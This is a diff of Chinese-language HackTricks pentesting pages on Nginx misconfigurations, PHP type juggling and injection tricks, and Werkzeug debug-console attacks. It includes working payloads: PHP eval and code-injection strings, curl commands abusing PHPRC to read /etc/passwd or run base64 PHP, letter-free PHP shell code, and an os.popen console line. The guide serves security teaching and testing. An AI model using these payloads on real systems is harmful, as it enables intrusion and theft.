扫描此配置错误的系统揭示了多个实例,其中用户可以打印Nginx变量。然而,易受攻击实例数量的减少表明,修补此问题的努力已取得了一定成功。
|
||||
扫描此配置错误的系统揭示了多个实例,其中Nginx变量可以被用户打印。然而,易受攻击实例数量的减少表明,修补此问题的努力在某种程度上取得了成功。
|
||||
|
||||
## 原始后端响应读取
|
||||
|
||||
Nginx通过`proxy_pass`提供了一项功能,允许拦截后端产生的错误和HTTP头,旨在隐藏内部错误消息和头。这是通过Nginx在响应后端错误时提供自定义错误页面来实现的。然而,当Nginx遇到无效的HTTP请求时,会出现挑战。这样的请求会按原样转发到后端,后端的原始响应随后直接发送给客户端,而不经过Nginx的干预。
|
||||
Nginx通过`proxy_pass`提供了一项功能,允许拦截后端生成的错误和HTTP头,旨在隐藏内部错误消息和头。这是通过Nginx在响应后端错误时提供自定义错误页面来实现的。然而,当Nginx遇到无效的HTTP请求时,会出现挑战。这样的请求会按原样转发到后端,后端的原始响应随后直接发送给客户端,而不经过Nginx的干预。
|
||||
|
||||
考虑一个涉及uWSGI应用的示例场景:
|
||||
```python
|
||||
|
@ -183,13 +183,13 @@ proxy_hide_header Secret-Header;
|
|||
|
||||
默认情况下,Nginx 的 **`merge_slashes` 指令** 设置为 **`on`**,这会将 URL 中的多个正斜杠压缩为一个斜杠。此功能虽然简化了 URL 处理,但可能无意中掩盖了 Nginx 后面应用程序中的漏洞,特别是那些容易受到本地文件包含 (LFI) 攻击的应用程序。安全专家 **Danny Robinson 和 Rotem Bar** 强调了与此默认行为相关的潜在风险,尤其是当 Nginx 作为反向代理时。
|
||||
|
||||
为了减轻此类风险,建议对易受这些漏洞影响的应用程序 **关闭 `merge_slashes` 指令**。这确保 Nginx 在不改变 URL 结构的情况下将请求转发到应用程序,从而不掩盖任何潜在的安全问题。
|
||||
为了减轻此类风险,建议对易受这些漏洞影响的应用程序 **关闭 `merge_slashes` 指令**。这确保 Nginx 在不更改 URL 结构的情况下将请求转发到应用程序,从而不掩盖任何潜在的安全问题。
|
||||
|
||||
有关更多信息,请查看 [Danny Robinson 和 Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d)。
|
||||
|
||||
### **Maclicious 响应头**
|
||||
### **恶意响应头**
|
||||
|
||||
如 [**此文**](https://mizu.re/post/cors-playground) 所示,如果 Web 服务器的响应中存在某些头,它们将改变 Nginx 代理的行为。您可以在 [**文档中查看**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/):
|
||||
如 [**此文**](https://mizu.re/post/cors-playground) 所示,如果某些头出现在 Web 服务器的响应中,它们将改变 Nginx 代理的行为。您可以在 [**文档中查看**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/):
|
||||
|
||||
* `X-Accel-Redirect`: 指示 Nginx 将请求内部重定向到指定位置。
|
||||
* `X-Accel-Buffering`: 控制 Nginx 是否应缓冲响应。
|
||||
|
@ -199,7 +199,7 @@ proxy_hide_header Secret-Header;
|
|||
|
||||
例如,头 **`X-Accel-Redirect`** 将导致 Nginx 内部 **重定向**。因此,具有类似 **`root /`** 的 Nginx 配置和来自 Web 服务器的响应 **`X-Accel-Redirect: .env`** 将使 Nginx 发送 **`/.env`** 的内容(路径遍历)。
|
||||
|
||||
### **Map 指令中的默认值**
|
||||
### **映射指令中的默认值**
|
||||
|
||||
在 **Nginx 配置**中,`map` 指令通常在 **授权控制** 中发挥作用。一个常见的错误是未指定 **默认** 值,这可能导致未经授权的访问。例如:
|
||||
```yaml
|
||||
|
@ -240,7 +240,7 @@ resolver 8.8.8.8;
|
|||
此漏洞将允许攻击者 **与 `proxy_pass` 端点建立直接连接**(在此情况下为 `http://backend:9999`),其内容不会被 nginx 检查。
|
||||
{% endhint %}
|
||||
|
||||
从 [这里](https://bishopfox.com/blog/h2c-smuggling-request) 获取的示例漏洞配置以窃取 `/flag`:
|
||||
从 [这里](https://bishopfox.com/blog/h2c-smuggling-request) 偷取 `/flag` 的脆弱配置示例:
|
||||
```
|
||||
server {
|
||||
listen 443 ssl;
|
||||
|
@ -261,7 +261,7 @@ deny all;
|
|||
}
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
注意,即使 `proxy_pass` 指向特定的 **路径**,例如 `http://backend:9999/socket.io`,连接仍将与 `http://backend:9999` 建立,因此您可以 **联系该内部端点内的任何其他路径。因此,proxy_pass 的 URL 中指定路径并不重要。**
|
||||
请注意,即使 `proxy_pass` 指向特定的 **路径**,例如 `http://backend:9999/socket.io`,连接仍将与 `http://backend:9999` 建立,因此您可以 **联系该内部端点内的任何其他路径。因此,proxy_pass 的 URL 中指定路径并不重要。**
|
||||
{% endhint %}
|
||||
|
||||
## 尝试一下
|
||||
|
@ -288,9 +288,9 @@ Nginxpwner 是一个简单的工具,用于查找常见的 Nginx 错误配置
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**获取黑客对您的网络应用程序、网络和云的看法**
|
||||
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
**查找并报告具有实际业务影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -17,9 +17,9 @@
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度看待您的网络应用、网络和云**
|
||||
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -43,7 +43,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
|
|||
|
||||
### 松散比较/类型转换 ( == )
|
||||
|
||||
如果在 PHP 中使用 `==`,则会出现一些意想不到的情况,比较的行为并不如预期。这是因为 "==" 只比较转换为相同类型的值,如果你还想比较被比较数据的类型是否相同,你需要使用 `===`。
|
||||
如果在 PHP 中使用 `==`,则会出现一些意外情况,比较的行为并不如预期。这是因为 "==" 只比较转换为相同类型的值,如果你还想比较被比较数据的类型是否相同,你需要使用 `===`。
|
||||
|
||||
PHP 比较表: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
|
||||
|
||||
|
@ -53,9 +53,9 @@ PHP 比较表: [https://www.php.net/manual/en/types.comparisons.php](https://w
|
|||
|
||||
* `"string" == 0 -> True` 一个不以数字开头的字符串等于一个数字
|
||||
* `"0xAAAA" == "43690" -> True` 由十进制或十六进制格式的数字组成的字符串可以与其他数字/字符串进行比较,如果数字相同则结果为 True(字符串中的数字被解释为数字)
|
||||
* `"0e3264578" == 0 --> True` 以 "0e" 开头并后跟任何内容的字符串将等于 0
|
||||
* `"0X3264578" == 0X --> True` 以 "0" 开头并后跟任何字母(X 可以是任何字母)并后跟任何内容的字符串将等于 0
|
||||
* `"0e12334" == "0" --> True` 这非常有趣,因为在某些情况下你可以控制 "0" 的字符串输入以及与之进行哈希和比较的某些内容。因此,如果你可以提供一个值,该值将创建一个以 "0e" 开头且没有任何字母的哈希,你可以绕过比较。你可以在这里找到 **已经哈希的字符串**: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
* `"0e3264578" == 0 --> True` 一个以 "0e" 开头并后跟任何内容的字符串将等于 0
|
||||
* `"0X3264578" == 0X --> True` 一个以 "0" 开头并后跟任何字母(X 可以是任何字母)和后跟任何内容的字符串将等于 0
|
||||
* `"0e12334" == "0" --> True` 这非常有趣,因为在某些情况下你可以控制 "0" 的字符串输入以及与之进行哈希和比较的某些内容。因此,如果你可以提供一个值,该值将创建一个以 "0e" 开头且没有任何字母的哈希,你可以绕过比较。你可以在这里找到 **已经哈希的字符串** 这种格式:[https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
* `"X" == 0 --> True` 字符串中的任何字母等于 int 0
|
||||
|
||||
更多信息请见 [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
||||
|
@ -83,7 +83,7 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
|
|||
|
||||
### 严格类型转换
|
||||
|
||||
即使使用 `===`,也可能出现错误,使得比较容易受到类型转换的影响。例如,如果比较是在比较之前将数据转换为不同类型的对象:
|
||||
即使使用了 `===`,也可能会出现错误,使得比较容易受到类型转换的影响。例如,如果比较是在比较之前将数据转换为不同类型的对象:
|
||||
```php
|
||||
(int) "1abc" === (int) "1xyz" //This will be true
|
||||
```
|
||||
|
@ -112,27 +112,27 @@ echo preg_match("/^.*1.*$/",$myinput);
|
|||
"cmd": "cat /etc/passwd"
|
||||
}
|
||||
```
|
||||
找到一个例子在这里: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
|
||||
找到一个示例在这里: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
|
||||
|
||||
#### **长度错误绕过**
|
||||
|
||||
(这个绕过显然是在 PHP 5.2.5 上尝试的,我无法在 PHP 7.3.15 上使其工作)\
|
||||
如果你可以发送一个有效的非常 **大的输入** 给 `preg_match()`,它 **将无法处理它**,你将能够 **绕过** 检查。例如,如果它正在黑名单一个 JSON,你可以发送:
|
||||
如果你可以发送给 `preg_match()` 一个有效的非常 **大的输入**,它 **将无法处理它**,你将能够 **绕过** 检查。例如,如果它正在黑名单一个 JSON,你可以发送:
|
||||
```bash
|
||||
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
||||
```
|
||||
From: [https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0](https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0)
|
||||
|
||||
#### ReDoS 绕过
|
||||
#### ReDoS Bypass
|
||||
|
||||
Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) and [https://mizu.re/post/pong](https://mizu.re/post/pong)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (26).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
简而言之,问题发生是因为 PHP 中的 `preg_*` 函数基于 [PCRE 库](http://www.pcre.org/)。在 PCRE 中,某些正则表达式通过大量递归调用进行匹配,这会消耗大量的栈空间。可以设置允许的递归次数限制,但在 PHP 中,这个限制 [默认为 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit),这超过了栈的容量。
|
||||
简而言之,问题发生是因为 PHP 中的 `preg_*` 函数基于 [PCRE 库](http://www.pcre.org/)。在 PCRE 中,某些正则表达式通过大量递归调用进行匹配,这会消耗大量的堆栈空间。可以设置允许的递归次数限制,但在 PHP 中,这个限制 [默认为 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit),这超过了堆栈的容量。
|
||||
|
||||
[这个 Stackoverflow 线程](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) 也在帖子中被链接,深入讨论了这个问题。我们的任务现在很明确:\
|
||||
**发送一个输入,使正则表达式进行 100\_000+ 次递归,导致 SIGSEGV,使得 `preg_match()` 函数返回 `false`,从而使应用程序认为我们的输入不是恶意的,在有效负载的最后抛出一个像 `{system(<verybadcommand>)}` 的惊喜以获取 SSTI --> RCE --> flag :)**。
|
||||
**发送一个输入,使正则表达式进行 100\_000+ 次递归,导致 SIGSEGV,使得 `preg_match()` 函数返回 `false`,从而使应用程序认为我们的输入不是恶意的,在有效负载的最后抛出一个类似 `{system(<verybadcommand>)}` 的惊喜,以获得 SSTI --> RCE --> flag :)**。
|
||||
|
||||
好吧,从正则表达式的角度来看,我们实际上并没有进行 100k 次“递归”,而是计算“回溯步骤”,正如 [PHP 文档](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) 所述,它在 `pcre.backtrack_limit` 变量中默认为 1\_000\_000(1M)。\
|
||||
要达到这个,`'X'*500_001` 将导致 100 万个回溯步骤(50万向前和50万向后):
|
||||
|
@ -172,16 +172,16 @@ readfile($page);
|
|||
|
||||
## 更多技巧
|
||||
|
||||
* **register\_globals**: 在 **PHP < 4.1.1.1** 或者如果配置错误,**register\_globals** 可能是激活的(或者其行为被模拟)。这意味着在全局变量如 $\_GET 中,如果它们有值,例如 $\_GET\["param"]="1234",你可以通过 **$param 访问它。因此,通过发送 HTTP 参数,你可以覆盖** 在代码中使用的变量。
|
||||
* **同一域的 PHPSESSION cookies 存储在同一位置**,因此如果在一个域中 **不同路径使用不同的 cookies**,你可以使该路径 **访问该路径的 cookie**,设置其他路径 cookie 的值。\
|
||||
这样,如果 **两个路径访问同名变量**,你可以使 **路径1中的该变量的值应用于路径2**。然后路径2将视路径1的变量为有效(通过给 cookie 赋予在路径2中对应的名称)。
|
||||
* **register\_globals**: 在 **PHP < 4.1.1.1** 或者如果配置错误,**register\_globals** 可能是激活的(或者其行为被模仿)。这意味着在全局变量如 $\_GET 中,如果它们有值,例如 $\_GET\["param"]="1234",你可以通过 **$param 访问它。因此,通过发送 HTTP 参数,你可以覆盖** 在代码中使用的变量。
|
||||
* **同一域的 PHPSESSION cookies 存储在同一位置**,因此如果在一个域中 **不同的 cookies 在不同的路径中使用**,你可以使该路径 **访问该路径的 cookie**,设置另一个路径 cookie 的值。\
|
||||
这样,如果 **两个路径访问同名的变量**,你可以使 **路径1中的该变量的值应用于路径2**。然后路径2将视路径1的变量为有效(通过给 cookie 赋予在路径2中对应的名称)。
|
||||
* 当你拥有机器用户的 **用户名** 时。检查地址:**/\~\<USERNAME>** 以查看 php 目录是否被激活。
|
||||
* [**使用 php 包装器的 LFI 和 RCE**](../../../pentesting-web/file-inclusion/)
|
||||
|
||||
### password\_hash/password\_verify
|
||||
|
||||
这些函数通常在 PHP 中用于 **从密码生成哈希** 并 **检查** 密码是否与哈希相符。\
|
||||
支持的算法有:`PASSWORD_DEFAULT` 和 `PASSWORD_BCRYPT`(以 `$2y$` 开头)。请注意,**PASSWORD\_DEFAULT 通常与 PASSWORD\_BCRYPT 相同。** 目前,**PASSWORD\_BCRYPT** 在输入上有 **72字节的大小限制**。因此,当你尝试用此算法对大于 72 字节的内容进行哈希时,仅会使用前 72B:
|
||||
支持的算法有:`PASSWORD_DEFAULT` 和 `PASSWORD_BCRYPT`(以 `$2y$` 开头)。请注意,**PASSWORD\_DEFAULT 通常与 PASSWORD\_BCRYPT 相同。** 目前,**PASSWORD\_BCRYPT** 在输入上有 **72字节的大小限制**。因此,当你尝试用该算法对大于 72 字节的内容进行哈希时,仅会使用前 72B:
|
||||
```php
|
||||
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
||||
False
|
||||
|
@ -193,7 +193,7 @@ True
|
|||
|
||||
#### Causing error after setting headers
|
||||
|
||||
从 [**这个推特线程**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) 你可以看到,发送超过 1000 个 GET 参数或 1000 个 POST 参数或 20 个文件时,PHOP 不会在响应中设置头部。
|
||||
从 [**这个推特线程**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) 你可以看到,发送超过 1000 个 GET 参数或 1000 个 POST 参数或 20 个文件时,PHP 不会在响应中设置头部。
|
||||
|
||||
这允许绕过例如在代码中设置的 CSP 头部,如:
|
||||
```php
|
||||
|
@ -203,8 +203,8 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
|
|||
```
|
||||
#### 在设置头部之前填充主体
|
||||
|
||||
如果一个 **PHP 页面正在打印错误并回显用户提供的一些输入**,用户可以使 PHP 服务器打印出一些 **足够长的内容**,以至于当它尝试 **将头部添加** 到响应中时,服务器会抛出错误。\
|
||||
在以下场景中,**攻击者使服务器抛出了一些大的错误**,正如您在屏幕上看到的,当 PHP 尝试 **修改头部信息时,它无法**(例如 CSP 头部没有发送给用户):
|
||||
如果一个 **PHP 页面正在打印错误并回显用户提供的一些输入**,用户可以使 PHP 服务器打印出一些 **足够长的内容**,以便在尝试 **将头部添加** 到响应时,服务器会抛出错误。\
|
||||
在以下场景中,**攻击者使服务器抛出了一些大错误**,正如您在屏幕上看到的,当 PHP 尝试 **修改头部信息时,它无法**(例如 CSP 头部没有发送给用户):
|
||||
|
||||
![](<../../../.gitbook/assets/image (1085).png>)
|
||||
|
||||
|
@ -230,7 +230,7 @@ preg_replace(pattern,replace,base)
|
|||
preg_replace("/a/e","phpinfo()","whatever")
|
||||
```
|
||||
要在“replace”参数中执行代码,至少需要一个匹配项。\
|
||||
此preg\_replace选项在PHP 5.5.0中已被**弃用**。
|
||||
此preg\_replace选项在**PHP 5.5.0中已被弃用。**
|
||||
|
||||
### **通过Eval()进行RCE**
|
||||
```
|
||||
|
@ -247,7 +247,7 @@ preg_replace("/a/e","phpinfo()","whatever")
|
|||
```
|
||||
?page=a','NeVeR') === false and system('ls') and strpos('a
|
||||
```
|
||||
您需要**破坏**代码**语法**,**添加**您的**有效载荷**,然后**再次修复**它。您可以使用**逻辑运算**,例如“**and**”或“%26%26”或“|”。请注意,“or”和“||”不起作用,因为如果第一个条件为真,我们的有效载荷将不会被执行。同样,“;”也不起作用,因为我们的有效载荷不会被执行。
|
||||
您需要**破坏**代码**语法**,**添加**您的**有效载荷**,然后**再次修复**它。您可以使用**逻辑运算**,例如“**and"或"%26%26"或"|"**。请注意,“or”,“||”不起作用,因为如果第一个条件为真,我们的有效载荷将不会被执行。同样,“;”也不起作用,因为我们的有效载荷不会被执行。
|
||||
|
||||
**另一个选项**是将命令的执行添加到字符串中:`'.highlight_file('.passwd').'`
|
||||
|
||||
|
@ -276,7 +276,7 @@ function foo($x,$y){
|
|||
usort();}phpinfo;#, "cmp");
|
||||
}?>
|
||||
```
|
||||
您还可以使用 **//** 注释代码的其余部分。
|
||||
您还可以使用 **//** 注释其余的代码。
|
||||
|
||||
要发现您需要关闭的括号数量:
|
||||
|
||||
|
@ -292,16 +292,16 @@ usort();}phpinfo;#, "cmp");
|
|||
|
||||
### 通过环境变量进行 RCE
|
||||
|
||||
如果您发现一个漏洞,允许您 **修改 PHP 中的环境变量**(还有另一个上传文件的漏洞,尽管经过更多研究可能可以绕过),您可以利用这种行为获得 **RCE**。
|
||||
如果您发现一个漏洞,允许您 **修改 PHP 中的环境变量**(还有另一个漏洞可以上传文件,尽管经过更多研究可能可以绕过),您可以利用这种行为获得 **RCE**。
|
||||
|
||||
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path):此环境变量允许您在执行其他二进制文件时加载任意库(尽管在这种情况下可能不起作用)。
|
||||
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path):此环境变量允许您在执行其他二进制文件时加载任意库(尽管在这种情况下可能不适用)。
|
||||
* **`PHPRC`**:指示 PHP **在哪里查找其配置文件**,通常称为 `php.ini`。如果您可以上传自己的配置文件,则使用 `PHPRC` 指向它。添加一个 **`auto_prepend_file`** 条目,指定第二个上传的文件。这个第二个文件包含正常的 **PHP 代码,然后由 PHP 运行时执行**,在任何其他代码之前。
|
||||
1. 上传一个包含我们的 shellcode 的 PHP 文件
|
||||
2. 上传第二个文件,包含一个 **`auto_prepend_file`** 指令,指示 PHP 预处理器执行我们在步骤 1 中上传的文件
|
||||
3. 将 `PHPRC` 变量设置为我们在步骤 2 中上传的文件。
|
||||
* 获取更多关于如何执行此链的信息 [**来自原始报告**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)。
|
||||
* **PHPRC** - 另一个选项
|
||||
* 如果您 **无法上传文件**,您可以在 FreeBSD 中使用 "file" `/dev/fd/0`,它包含 **`stdin`**,即发送到 `stdin` 的请求的 **主体**:
|
||||
* 如果您 **无法上传文件**,您可以在 FreeBSD 中使用 "file" `/dev/fd/0`,它包含 **`stdin`**,即发送到 `stdin` 的请求 **主体**:
|
||||
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
||||
* 或者要获得 RCE,启用 **`allow_url_include`** 并预先添加一个包含 **base64 PHP 代码** 的文件:
|
||||
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
|
||||
|
@ -337,7 +337,7 @@ phpinfo();
|
|||
```
|
||||
## PHP 静态分析
|
||||
|
||||
查看您是否可以在对这些函数的调用中插入代码(来自 [这里](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)):
|
||||
查看您是否可以在对这些函数的调用中插入代码(来自 [这里](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)):
|
||||
```php
|
||||
exec, shell_exec, system, passthru, eval, popen
|
||||
unserialize, include, file_put_cotents
|
||||
|
@ -345,9 +345,9 @@ $_COOKIE | if #This mea
|
|||
```
|
||||
如果您正在调试一个 PHP 应用程序,可以在 `/etc/php5/apache2/php.ini` 中全局启用错误打印,添加 `display_errors = On` 并重启 apache: `sudo systemctl restart apache2`
|
||||
|
||||
### 反混淆 PHP 代码
|
||||
### 解混淆 PHP 代码
|
||||
|
||||
您可以使用 **web**[ **www.unphp.net**](http://www.unphp.net) **来反混淆 php 代码。**
|
||||
您可以使用 **web**[ **www.unphp.net**](http://www.unphp.net) **来解混淆 php 代码。**
|
||||
|
||||
## PHP 包装器和协议
|
||||
|
||||
|
@ -355,7 +355,7 @@ PHP 包装器和协议可能允许您 **绕过系统中的读写保护** 并危
|
|||
|
||||
## Xdebug 未经身份验证的 RCE
|
||||
|
||||
如果您在 `phpconfig()` 输出中看到 **Xdebug** 已 **启用**,您应该尝试通过 [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit) 获取 RCE
|
||||
如果您在 `phpconfig()` 输出中看到 **Xdebug** 已 **启用**,您应该尝试通过 [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit) 获取 RCE。
|
||||
|
||||
## 变量变量
|
||||
```php
|
||||
|
@ -369,7 +369,7 @@ echo "${Da}"; //Drums
|
|||
echo "$x ${$x}"; //Da Drums
|
||||
echo "$x ${Da}"; //Da Drums
|
||||
```
|
||||
## RCE 利用新的 $\_GET\["a"]\($\_GET\["b")
|
||||
## RCE 利用新的 $\_GET\["a"]\($\_GET\["b"])
|
||||
|
||||
如果在一个页面中你可以 **创建一个任意类的新对象**,你可能能够获得 RCE,查看以下页面以了解如何:
|
||||
|
||||
|
@ -401,7 +401,7 @@ ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
|
|||
|
||||
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
|
||||
```
|
||||
所以,如果你可以 **在没有数字和字母的情况下执行任意 PHP**,你可以发送如下请求,利用该有效载荷执行任意 PHP:
|
||||
所以,如果你可以**在没有数字和字母的情况下执行任意 PHP**,你可以发送如下请求,利用该有效负载执行任意 PHP:
|
||||
```
|
||||
POST: /action.php?_=system&__=cat+flag.php
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
@ -470,7 +470,7 @@ $___($_[_]); // ASSERT($_POST[_]);
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度看待您的网络应用、网络和云**
|
||||
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
|
@ -485,8 +485,8 @@ $___($_[_]); // ASSERT($_POST[_]);
|
|||
<summary>支持HackTricks</summary>
|
||||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Werkzeug / Flask Debug
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -17,9 +17,9 @@
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度审视您的网络应用、网络和云**
|
||||
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -33,13 +33,13 @@ __import__('os').popen('whoami').read();
|
|||
|
||||
互联网上还有几个漏洞,比如[这个](https://github.com/its-arun/Werkzeug-Debug-RCE)或metasploit中的一个。
|
||||
|
||||
## Pin 保护 - 路径遍历
|
||||
## PIN保护 - 路径遍历
|
||||
|
||||
在某些情况下,**`/console`** 端点将受到 pin 的保护。如果你有 **文件遍历漏洞**,你可以泄露生成该 pin 所需的所有信息。
|
||||
在某些情况下,**`/console`** 端点将受到PIN保护。如果您有**文件遍历漏洞**,您可以泄露生成该PIN所需的所有信息。
|
||||
|
||||
### Werkzeug控制台PIN漏洞
|
||||
|
||||
在应用中强制出现调试错误页面以查看此内容:
|
||||
在应用程序中强制显示调试错误页面以查看此内容:
|
||||
```
|
||||
The console is locked and needs to be unlocked by entering the PIN.
|
||||
You can find the PIN printed out on the standard output of your
|
||||
|
@ -51,15 +51,15 @@ shell that runs the server
|
|||
|
||||
#### **`probably_public_bits`**
|
||||
|
||||
* **`username`**:指发起 Flask 会话的用户。
|
||||
* **`modname`**:通常指定为 `flask.app`。
|
||||
* **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**:通常解析为 **Flask**。
|
||||
* **`getattr(mod, '__file__', None)`**:表示 Flask 目录中 `app.py` 的完整路径(例如,`/usr/local/lib/python3.5/dist-packages/flask/app.py`)。如果 `app.py` 不适用,**尝试 `app.pyc`**。
|
||||
* **`username`**: 指发起 Flask 会话的用户。
|
||||
* **`modname`**: 通常指定为 `flask.app`。
|
||||
